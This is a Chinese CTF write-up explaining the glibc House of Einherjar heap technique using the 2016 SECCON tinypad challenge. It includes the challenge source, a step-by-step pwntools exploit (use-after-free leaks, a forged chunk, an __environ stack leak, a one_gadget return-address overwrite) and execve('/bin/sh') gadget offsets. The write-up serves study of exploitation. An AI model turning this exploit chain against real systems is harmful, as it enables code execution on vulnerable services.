《CTF竞赛权威指南》|house of einherjar

本文详细介绍了House of Einherjar堆利用技术,通过滥用free中的后向合并操作实现几乎任意地址的chunk分配。文章深入分析了一道典型CTF题目,展示了如何利用此技术进行漏洞攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

house of einherjar

介绍

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出,该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作(合并低地址的chunk),从而使得尽可能避免碎片化。

此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。


在《CTF竞赛权威指南》中将该技术归类到了off-by-one中,但是在CTF wiki并没有归类到一起,我比较赞同wiki的分类。因为在这里只是利用了share chunk原理,将next chunk的prev_size覆盖,程序中有无溢出并无关系,相反,如果存在null byte溢出,更改了next chunk的size大小,甚至还会出现麻烦,所以如果你和我一样是看这本书学习的话,不要被书上的分类误导。


原理

主要利用两个点,一个是free的unlink,另外一个是chunk复用。

后向合并操作

free 函数中的后向合并核心操作如下:

  /* consolidate backward */
  if (!prev_inuse(p)) {
      prevsize = prev_size(p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
  }

在free中规定的合并顺序是先向后(也就是向低地址,上一个chunk的位置),再向前(next chunk)。

chunk复用

当前一个chunk申请的数据空间申请的大小对16取余后,如果多出来的大小小于等于8字节,那么这个多出来的大小就放入下一个chunk的prev_size中存储。在上一篇的off-by-one也讲到了这点,不再赘述。

具体利用

如下图所示,存在prev和p两个chunk,其中红框内的(prev_size)属于共享字段,所以我们填充prev的数据时可以覆盖掉p的prev_size字段,而向后合并时,寻找上一个chunk便需要通过本chunk的地址减去prev_size,也就是新chunk的地址取决于chunk_at_offset(p, -((long) prevsize))

此外,也要考虑一下unlink的检查机制,通过prev_size寻找的fake chunk需要设置相同大小的size,否则就会报错**“corrupted size vs. prev_size”**。

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");

我们的目的是造成overlap,以获取某块地址的控制权,那么这里fake chunk地址的选取就很关键了,这里介绍一种题目常用的方式,在stack中构造fake chunk,如下图所示。

可以看到我们在stack上构造了一个大小为size为0xffff800000604550的fake chunk,chunk b的prev_size也被覆盖了同样的大小,该大小是通过chunk b_addr-prev_size =fake chunk_addr 计算得来,在该例中,0x602020-0x7fffffffdad0 = 0xffff800000604550

在该过程中,chunk b向后合并,与fake chunk合并后,再向下合并,与top chunk相邻近,所以,fake chunk就变成了新的top chunk,在堆中不存在其他空闲chunk时,只要通过brk方式产生新heap,那么肯定是从fake chunk的地方分配,这意味着我们获得了从fake chunk地址+0x10开始之后一定空间的控制权(不大于brk方式的最大值)。

2016 Seccon tinypad

基本功能分析

首先,程序有一个核心的读取函数,即读取指定长度字节的字符串,然而,当读取的长度恰好为指定的长度时,会出现off by one 的漏洞。

unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, int terminate)
{
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  __int64 n; // [rsp+30h] [rbp-10h]

  for ( i = 0LL; i < len; ++i )
  {
    n = read_n(0, (__int64)&a1[i], 1uLL);
    if ( n < 0 )
      return -1LL;
    if ( !n || a1[i] == terminate )
      break;
  }
  a1[i] = 0;  //bull byte off-by-one
  if ( i == len && a1[len - 1] != '\n' )
    dummyinput(terminate);
  return i;
}

通过分析程序,我们不难看出,这个程序的基本功能是操作一个 tinypad,主要有以下操作

  • 开头,程序每次开头依次判断每个 memo 的指针来判断是否为空,如果不为空,进而利用 strlen 求得其相应的长度,将 memo 的内容输出。从这里,我们也可以看出最多有 4 个 memo。
  • 添加 memo,遍历存储 memo 的变量tinypad,根据 tinypad 的存储的大小判断 memo 是否在使用,然后还有的话,分配一个 memo。从这里我们可以知道,程序只是从 tinypad 起始偏移16*16=256 处才开始使用,每个 memo 存储两个字段,一个是该 memo 的大小,另一个是该 memo 对应的指针。所以我们可以创建一个新的结构体,并修改 ida 识别的 tinypad,使之更加可读(但是其实 ida 没有办法帮忙智能识别。)。同时,由于该添加功能依赖于读取函数,所以存在 off by one 的漏洞。此外,我们可以看出,用户申请的 chunk 的大小最大为 256 字节,和 tinypad 前面的未使用的 256 字节恰好一致。
  • 删除,根据存储 memo 的大小判断 memo 是否在被使用,同时将相应 memo 大小设置为0,但是并没有将指针设置为 NULL,有可能会导致 Use After Free。即在程序开头时,就有可能输出一些相关的内容,这其实就是我们泄漏一些基地址的基础。
  • 编辑。在编辑时,程序首先根据之前存储的 memo 的内容将其拷贝到 tinypad 的前 256 个字节中(buffer),但正如我们之前所说的,当 memo 存储了 256 个字节时,就会存在 off by one漏洞。与此同时,程序利用 strlen 判断复制之后的 tinypad 的内容长度,并将其输出。之后程序继续利用 strlen 求得 memo 的长度,并读取指定长度内容到 tinypad 中,根据读取函数,这里必然出现了 \x00。最后程序将读取到 tinypad 前 256 字节的内容放到对应 memo 中。

主要的数据结构有:

struct {
    char buffer[0x100]; // make a fakechunk.
    struct {
        size_t size;
        char *memo;
    } page[4];
} tinypad;

代码

这里只是附上源代码方便理解,按常理来说应该只能对可执行程序进行ida反汇编,详细的文件可以在CTF wiki的house of einherjar查看下载。

#include <ctype.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "pwnio.h"

#define PADSIZE         0x4
const char title[] = "  ============================================================================\n"
                     "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n"
                     "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n"
                     "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n"
                     "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n"
                     "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n"
                     "  ============================================================================\n";
const char separator[] = "+------------------------------------------------------------------------------+\n";
const char menu[] = "+- MENU -----------------------------------------------------------------------+\n"
                    "| [A] Add memo                                                                 |\n"
                    "| [D] Delete memo                                                              |\n"
                    "| [E] Edit memo                                                                |\n"
                    "| [Q] Quit                                                                     |\n"
                    "+------------------------------------------------------------------------------+\n";

const char show_index[] = " #   INDEX: ";
const char show_content[] = " # CONTENT: ";
const char confirm_content[] = "CONTENT: ";

const char prompt_cmd[] = "(CMD)>>> ";
const char prompt_size[] = "(SIZE)>>> ";
const char prompt_content[] = "(CONTENT)>>> ";
const char prompt_index[] = "(INDEX)>>> ";
const char prompt_confirm[] = "(Y/n)>>> ";

const char errmsg_no_space_left[] = "No space is left.";
const char errmsg_no_such_command[] = "No such a command";
const char errmsg_invalid_index[] = "Invalid index";
const char errmsg_not_used[] = "Not used";

const char syserr_no_memory_is_available[] = "[!] No memory is available.";
const char syserr_init_failed[] = "[!] Init failed.";
const char msg_confirm[] = "Is it OK?";
const char msg_timeout[] = "Timeout.";

const size_t memo_maxlen = 0x100;
struct {
    char buffer[0x100]; // make a fakechunk.
    struct {
        size_t size;
        char *memo;
    } page[4];
} tinypad;

static inline void dummyinput(int c)
{
    if(!c) return;
    char dummy = '\0';
    while(dummy != c) 
        read_n(&dummy, 1);
}


int getcmd()
{
    int cmd = '\0';

    write_n(menu, strlen(menu));

    write_n(prompt_cmd, strlen(prompt_cmd)); 
    read_until((char *)&cmd, 1, '\n');
    write_n("\n", 1);

    return toupper(cmd);
}

int main()
{
    int cmd = '\0';

    write_n("\n", 1);
    write_n(title, strlen(title));
    write_n("\n", 1);
    do{
        for(int i = 0; i < PADSIZE; i++) {
            char count = '1'+i;
            writeln(separator, strlen(separator));

            write_n(show_index, strlen(show_index)); writeln(&count, 1);
            write_n(show_content, strlen(show_content));
            if(tinypad.page[i].memo) {
                writeln(tinypad.page[i].memo, strlen(tinypad.page[i].memo));
            }
            writeln("\n", 1);
        }
        int idx = 0;
        switch(cmd = getcmd()) {
            case 'A': {
                    while(idx < PADSIZE && tinypad.page[idx].size != 0) idx++;
                    if(idx == PADSIZE) {
                        writeln(errmsg_no_space_left, strlen(errmsg_no_space_left));
                        break;
                    }
                    int size = -1;
                    write_n(prompt_size, strlen(prompt_size)); 
                    size = read_int();
                    size =  (size <    0x1)? 0x1:
                            (size <  memo_maxlen)? size: memo_maxlen;
                    tinypad.page[idx].size = size;

                    if((tinypad.page[idx].memo = malloc(size)) == NULL) {
                        writerrln("[!] No memory is available.", strlen("[!] No memory is available."));
                        _exit(-1);
                    }

                    write_n(prompt_content, strlen(prompt_content));
                    read_until(tinypad.page[idx].memo, size, '\n');
                    writeln("\nAdded.", strlen("\nAdded."));
                } break;
            case 'D': {
                    write_n(prompt_index, strlen(prompt_index));
                    idx = read_int();
                    if(!(0 < idx && idx <= PADSIZE)) {
                        writeln(errmsg_invalid_index, strlen(errmsg_invalid_index));
                        break;
                    }
                    if(tinypad.page[idx-1].size == 0) {
                        writeln(errmsg_not_used, strlen(errmsg_not_used));
                        break;
                    }

                    // XXX: UAF
                    free(tinypad.page[idx-1].memo);
                    tinypad.page[idx-1].size = 0;

                    writeln("\nDeleted.", strlen("\nDeleted."));
                } break;
            case 'E': {
                    write_n(prompt_index, strlen(prompt_index));
                    idx = read_int();
                    if(!(0 < idx && idx <= PADSIZE)) {
                        writeln(errmsg_invalid_index, strlen(errmsg_invalid_index));
                        break;
                    }
                    if(tinypad.page[idx-1].size == 0) {
                        writeln(errmsg_not_used, strlen(errmsg_not_used));
                        break;
                    }

                    int confirmation = '0';
                    strcpy(tinypad.buffer, tinypad.page[idx-1].memo);
                    while(toupper(confirmation) != 'Y') {
                        write_n(confirm_content, strlen(confirm_content));
                        writeln(tinypad.buffer, strlen(tinypad.buffer));
                        write_n(prompt_content, strlen(prompt_content));
                        // XXX: Not NUL Terminated.
                        read_until(tinypad.buffer, strlen(tinypad.page[idx-1].memo), '\n');
                        writeln(msg_confirm, strlen(msg_confirm));
                        write_n(prompt_confirm, strlen(prompt_confirm));
                        read_until((char *)&confirmation, 1, '\n');
                    }
                    strcpy(tinypad.page[idx-1].memo, tinypad.buffer);

                    writeln("\nEdited.", strlen("\nEdited."));
                } break;
            default:
                writeln(errmsg_no_such_command, strlen(errmsg_no_such_command));
            case 'Q':
                break;
        }
    } while(cmd != 'Q');

    return 0;
}

漏洞利用

首先程序存在两个漏洞:UAFhouse of einherjar

程序增删改通过info->size 判断是否存在,而通过info->data,且Delete只删除size,不删除data,所以被释放的memo内容仍会被打印,导致信息泄露。

主要思路如下:

  1. 信息泄露:通过UAF泄露堆地址和libc的基地址,比如这里free两个chunk,A和B,A的fd会存放B的地址,即堆地址,B的fd会存放small bin的地址,即为libc地址。
  2. 利用house of einherjar在tinypad的buffer伪造chunk,以获取buffer后四个memo数组的指针和内容。
  3. 这时就可以考虑如何处罚one_gadget,这题开启了full relro保护,所以无法修改GOT表;那么就考虑malloc_hook,这题的edit修改会首先通过strcpy复制原内容到buffer,然后strlen判断原长度以进行再次编辑,malloc_hook初始时为0,行不通。这里考虑修改程序的main函数返回地址为OGG,直接就需要一个stack地址了,而_environ全局变量保存了一个指向栈的地址,而environ会在libc中导出,第一步中已经知道了libc基地址,所以就之后就顺理成章了。

具体过程

  1. 泄露信息
def leak_heap_libc():
    global heap_base, libc_base

    add(0xe0, "A" * 0x10) #A
    add(0xf0, "A" * 0xf0) #B
    add(0x100, "A" * 0x10) #C
    add(0x100, "A" * 0x10) #D

    delete(3)
    delete(1)

    io.recvuntil("INDEX: 1\n # CONTENT: ")
    heap_base = u64(io.recvn(4).ljust(8, b"\x00")) - (0x100 + 0xf0)
    log.info("heap base: 0x%x" % heap_base)

    io.recvuntil("INDEX: 3\n # CONTENT: ")
    libc_base = u64(io.recvn(6).ljust(8, b"\x00")) - 0x3c4b78
    log.info("libc base: 0x%x" % libc_base)

如下图所示,此时freeA和C,A中的fd为0xe581f0——chunk C的地址,C的fd为0x7fef7a849b78,为libc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NKU3oxlE-1669106466240)(attachment:aec114119eb1900a23b37fce07429a40)]

  1. house of einherjar
def house_of_einherjar():
    delete(4)                                # move top chunk

    fake_chunk1  = b"A" * 0xe0
    
    fake_chunk1 += p64(heap_base + 0xf0 -tinypad)    # prev_size
    add(0xe8, fake_chunk1)                    # null byte overflow

    fake_chunk2  = p64(0x100)                        # prev_size
    fake_chunk2 += p64(heap_base + 0xf0 - tinypad)    # size
    fake_chunk2 += p64(0x602040) * 4                # fd, bk
    edit(2, fake_chunk2)

    delete(2)                                # consolidate

上述操作将B的prev_size覆盖为(heap_base + 0xf0 -tinypad),之后再将其free后,变进行unlink,先和fake chunk,后和top chunk。

其中此时(heap_base + 0xf0 -tinypad) = 0x13b7fc1,可以看到在tinypad构造的fake chunk中的size也为该大小。

此时fake chunk成为了new top chunk。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bLjAAVnB-1669106466242)(attachment:4dcfd61d6a6f2a43f7a3899b67bdf7fd)]

  1. 泄露stack
def leak_stack():
    global stack_addr

    environ_addr = libc_base + libc.symbols["__environ"]
    payload  = p64(0xe8) + p64(environ_addr)        # tinypad1
    payload += p64(0xe8) + p64(tinypad + 0x108)    # tinypad2
    add(0xe0, "A" * 0xe0)
    add(0xe0, payload)

    io.recvuntil("INDEX: 1\n # CONTENT: ")
    stack_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    log.info("stack address: 0x%x" % stack_addr)

这里申请两个chunk,第二个chunk覆盖了page[4]数组的空间,放入伪造的tinypad1和tinypad2,分别放如environ和tinypad+0x108的地址,(tinypad+0x108=0x602148)指向tinypad1的memo指针,也就是这里存放environ地址的地方,回想一下tinypad的struct。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z20RBP6P-1669106466242)(attachment:e92ca21dc1883467cc342b6d59c3eb37)]

  1. 修改返回地址
def pwn():
    one_gadget = libc_base + 0x45216

    edit(2, p64(stack_addr - 0xf0))            # return address
    edit(1, p64(one_gadget))

    io.sendlineafter("(CMD)>>> ", 'Q')
    io.interactive()

edit(2, p64(stack_addr - 0xf0)),程序会找到指向memo内容的指针,也就是这里伪造的environ地址,并且修改内容为返回地址。

edit(1, p64(one_gadget)),此时,page[0],也就是我们伪造的tinypad1,原本存放的environ地址已经被上一句命令改为返回地址,所以该命令会取出返回地址,放入我们的one_gadget,之后退出即可触发。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MNFT119l-1669106466243)(attachment:f4a2ca754e593ce44d51e5062855a87e)]

exp

from pwn import *
io = process('./tinypad')
libc = ELF('libc.so.6')

tinypad = 0x602040

def add(size, content):
    io.sendlineafter("(CMD)>>> ", 'A')
    io.sendlineafter("(SIZE)>>> ", str(size))
    io.sendlineafter("(CONTENT)>>> ", content)

def delete(idx):
    io.sendlineafter("(CMD)>>> ", 'D')
    io.sendlineafter("(INDEX)>>> ", str(idx))

def edit(idx, content):
    io.sendlineafter("(CMD)>>> ", 'E')
    io.sendlineafter("(INDEX)>>> ", str(idx))
    io.sendlineafter("(CONTENT)>>> ", content)
    io.sendlineafter("(Y/n)>>> ", 'Y')

def leak_heap_libc():
    global heap_base, libc_base

    add(0xe0, "A" * 0x10)
    add(0xf0, "A" * 0xf0)
    add(0x100, "A" * 0x10)
    add(0x100, "A" * 0x10)

    delete(3)
    delete(1)

    io.recvuntil("INDEX: 1\n # CONTENT: ")
    heap_base = u64(io.recvn(4).ljust(8, b"\x00")) - (0x100 + 0xf0)
    log.info("heap base: 0x%x" % heap_base)

    io.recvuntil("INDEX: 3\n # CONTENT: ")
    libc_base = u64(io.recvn(6).ljust(8, b"\x00")) - 0x3c4b78
    log.info("libc base: 0x%x" % libc_base)

def house_of_einherjar():
    delete(4)                                # move top chunk

    fake_chunk1  = b"A" * 0xe0
    
    fake_chunk1 += p64(heap_base + 0xf0 -tinypad)    # prev_size
    add(0xe8, fake_chunk1)                    # null byte overflow

    fake_chunk2  = p64(0x100)                        # prev_size
    fake_chunk2 += p64(heap_base + 0xf0 - tinypad)    # size
    fake_chunk2 += p64(0x602040) * 4                # fd, bk
    edit(2, fake_chunk2)

    delete(2)                                # consolidate

def leak_stack():
    global stack_addr

    environ_addr = libc_base + libc.symbols["__environ"]
    payload  = p64(0xe8) + p64(environ_addr)        # tinypad1
    payload += p64(0xe8) + p64(tinypad + 0x108)    # tinypad2
    add(0xe0, "A" * 0xe0)
    add(0xe0, payload)

    io.recvuntil("INDEX: 1\n # CONTENT: ")
    stack_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    log.info("stack address: 0x%x" % stack_addr)

def pwn():
    one_gadget = libc_base + 0x45216

    edit(2, p64(stack_addr - 0xf0))            # return address
    edit(1, p64(one_gadget))

    io.sendlineafter("(CMD)>>> ", 'Q')
    io.interactive()
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
"""
leak_heap_libc()
house_of_einherjar()
leak_stack()
pwn()

https://blog.youkuaiyun.com/csdn546229768/article/details/122588006 (借鉴博客)
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar/#_5 (wiki)
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad (题目链接)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值